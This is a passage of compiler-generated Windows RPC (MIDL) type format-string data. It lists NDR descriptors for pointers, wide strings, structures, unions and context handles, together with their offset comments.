*/\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1216 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1218 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1220 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1222 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1224 */\tNdrFcShort( 0xff04 ),\t/* Offset= -252 (972) */\n/* 1226 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1228 */\tNdrFcShort( 0xff54 ),\t/* Offset= -172 (1056) */\n/* 1230 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1232 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1234 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1236 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1238 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1240 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1242 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1244 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1246 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1248 */\tNdrFcShort( 0x2e ),\t/* Offset= 46 (1294) */\n/* 1250 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 1252 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1254 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1256 */\tNdrFcShort( 0xa8 ),\t/* 168 */\n/* 1258 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1260 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1262 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1266 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1270 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1272 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 1274 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1276 */\t0x19,\t\t/* Corr desc:  field pointer, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1278 */\tNdrFcShort( 0xc4 ),\t/* 196 */\n/* 1280 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1282 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1284 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1288 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1292 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1294 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x7,\t\t/* 7 */\n/* 1296 */\tNdrFcShort( 0xe0 ),\t/* 224 */\n/* 1298 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1300 */\tNdrFcShort( 0x2a ),\t/* Offset= 42 (1342) */\n/* 1302 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1304 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1306 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1308 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1310 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1312 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1314 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1316 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1318 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1320 */\tNdrFcShort( 0xff54 ),\t/* Offset= -172 (1148) */\n/* 1322 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1324 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1326 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1328 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1330 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1332 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1334 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1336 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1338 */\tNdrFcShort( 0xff42 ),\t/* Offset= -190 (1148) */\n/* 1340 */\t0xb,\t\t/* FC_HYPER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1342 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1344 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1346 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1348 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1350 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1352 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1354 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1356 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1358 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1360 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1362 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1364 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1366 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1368 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1370 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1372 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1374 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1376 */\tNdrFcShort( 0xfe6c ),\t/* Offset= -404 (972) */\n/* 1378 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1380 */\tNdrFcShort( 0xfebc ),\t/* Offset= -324 (1056) */\n/* 1382 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1384 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1386 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1388 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1390 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1392 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1394 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1396 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1398 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1400 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1402 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1404 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1406 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1408 */\tNdrFcShort( 0xff62 ),\t/* Offset= -158 (1250) */\n/* 1410 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1412 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1414 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1416 */\tNdrFcShort( 0xff70 ),\t/* Offset= -144 (1272) */\n/* 1418 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1420 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1422 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1424 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1424) */\n/* 1426 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1428 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1430 */\tNdrFcShort( 0xfdba ),\t/* Offset= -582 (848) */\n/* 1432 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1434 */\t\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 1436 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1438 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1440 */\tNdrFcShort( 0x3e ),\t/* Offset= 62 (1502) */\n/* 1442 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1444 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1446 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1448 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1450 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1452 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1456 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1460 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1462) */\n/* 1462 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1464 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1466 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1470 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1474) */\n/* 1472 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1471) */\n/* 1474 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1476 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1478) */\n/* 1478 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1480 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1482 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1484 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1490) */\n/* 1486 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1488 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1490 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1492 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1494 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1496 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1498 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1500 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1502 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1504 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1506 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1508 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1508) */\n/* 1510 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1512 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1514 */\tNdrFcShort( 0xffb8 ),\t/* Offset= -72 (1442) */\n/* 1516 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1518 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1520 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1522) */\n/* 1522 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1524 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1526 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1528 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1530 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1532 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1534 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1538 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1542 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1544 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1546 */\tNdrFcShort( 0xfa00 ),\t/* Offset= -1536 (10) */\n/* 1548 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1550 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1552) */\n/* 1552 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 1554 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1556 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1558 */\tNdrFcShort( 0x80 ),\t/* Offset= 128 (1686) */\n/* 1560 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1562 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1564 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1566 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1568 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1570 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1574 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1578 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1580) */\n/* 1580 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1582 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1584 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1588 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1598) */\n/* 1590 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1594 */\tNdrFcShort( 0x2a ),\t/* Offset= 42 (1636) */\n/* 1596 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1595) */\n/* 1598 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1600 */\tNdrFcShort( 0xc ),\t/* Offset= 12 (1612) */\n/* 1602 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1604 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1606 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1608 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1610 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1612 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1614 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 1616 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1618 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (1632) */\n/* 1620 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1622 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1624 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfe23 ),\t/* Offset= -477 (1148) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1628 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe5 ),\t/* Offset= -27 (1602) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1632 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1634 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1636 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1638 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1640) */\n/* 1640 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1642 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 1644 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1646 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1670) */\n/* 1648 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1650 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1652 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfe07 ),\t/* Offset= -505 (1148) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1656 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffc9 ),\t/* Offset= -55 (1602) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1660 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1662 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1664 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1666 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x42,\t\t/* FC_STRUCTPAD6 */\n/* 1668 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1670 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1672 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1674 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1676 */\t\n\t\t\t0x22,\t\t/* FC_C_CSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1678 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1680 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1682 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1684 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1686 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1688 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1690 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1692 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1692) */\n/* 1694 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1696 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1698 */\tNdrFcShort( 0xff76 ),\t/* Offset= -138 (1560) */\n/* 1700 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1702 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1704 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1706) */\n/* 1706 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xa0,\t\t/* Ctxt flags:  via ptr, out, */\n/* 1708 */\t0x1,\t\t/* 1 */\n\t\t\t0x1,\t\t/* 1 */\n/* 1710 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x41,\t\t/* Ctxt flags:  in, can't be null */\n/* 1712 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1714 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1716 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1718) */\n/* 1718 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 1720 */\t0x1,\t\t/* 1 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1722 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1724 */\tNdrFcShort( 0x56 ),\t/* Offset= 86 (1810) */\n/* 1726 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1728 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1730 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1732 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1734 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1736 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1740 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1744 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1746) */\n/* 1746 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1748 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1750 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1754 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1764) */\n/* 1756 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1760 */\tNdrFcShort( 0x16 ),\t/* Offset= 22 (1782) */\n/* 1762 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1761) */\n/* 1764 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1766 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1768) */\n/* 1768 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1770 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1772 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1774 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1778) */\n/* 1776 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1778 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1780 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1782 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1784 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1786) */\n/* 1786 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1788 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1790 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1792 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1798) */\n/* 1794 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1796 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1798 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1800 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1802 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1804 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1806 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1808 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1810 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1812 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1814 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1816 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1816) */\n/* 1818 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1820 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1822 */\tNdrFcShort( 0xffa0 ),\t/* Offset= -96 (1726) */\n/* 1824 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1826 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 1828 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1832 */\tNdrFcLong( 0x200 ),\t/* 512 */\n/* 1836 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1838 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1840) */\n/* 1840 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1842 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1844 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1846 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1848 */\tNdrFcShort( 0x11 ),\t/* Corr flags:  early, */\n/* 1850 */\t0x1 , /* correlation range */\n\t\t\t0x0,\t\t/* 0 */\n/* 1852 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1856 */\tNdrFcLong( 0x200 ),\t/* 512 */\n/* 1860 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1862 */\t0xb7,\t\t/* FC_RANGE */\n\t\t\t0x8,\t\t/* 8 */\n/* 1864 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1868 */\tNdrFcLong( 0x200 ),\t/* 512 */\n/* 1872 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1874 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1876) */\n/* 1876 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY 